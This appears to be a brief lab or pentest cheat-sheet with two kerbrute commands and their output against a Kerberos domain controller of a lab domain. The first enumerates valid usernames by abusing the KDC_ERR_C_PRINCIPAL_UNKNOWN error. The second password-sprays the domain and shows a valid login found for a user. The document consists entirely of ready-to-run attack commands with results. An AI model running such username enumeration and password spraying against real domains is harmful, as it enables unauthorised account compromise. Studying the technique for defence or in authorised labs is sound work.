# abuse KDC_ERR_C_PRINCIPAL_UNKNOWN
kerbrute_linux_amd64 userenum -d sales.contoso.lab --dc 192.168.1.12 usernames.txt
# Version: v1.0.3 (9dad6e1) - 04/24/26 - Ronnie Flathers @ropnop
#
# 2026/04/24 12:35:46 > Using KDC(s):
# 2026/04/24 12:35:46 > 192.168.1.12:88
#
# 2026/04/24 12:35:46 > [+] VALID USERNAME: alice@sales.contoso.lab
# 2026/04/24 12:35:46 > Done! Tested 3 usernames (1 valid) in 0.002 seconds
# spray
kerbrute_linux_amd64 passwordspray -d sales.contoso.lab --dc 192.168.1.12 usernames.txt '1AM4l1c3!?'
# Version: v1.0.3 (9dad6e1) - 04/24/26 - Ronnie Flathers @ropnop
#
# 2026/04/24 12:37:06 > Using KDC(s):
# 2026/04/24 12:37:06 > 192.168.1.12:88
#
# 2026/04/24 12:37:06 > [+] VALID LOGIN: alice@sales.contoso.lab:1AM4l1c3!?
# 2026/04/24 12:37:06 > Done! Tested 3 logins (1 successes) in 0.009 seconds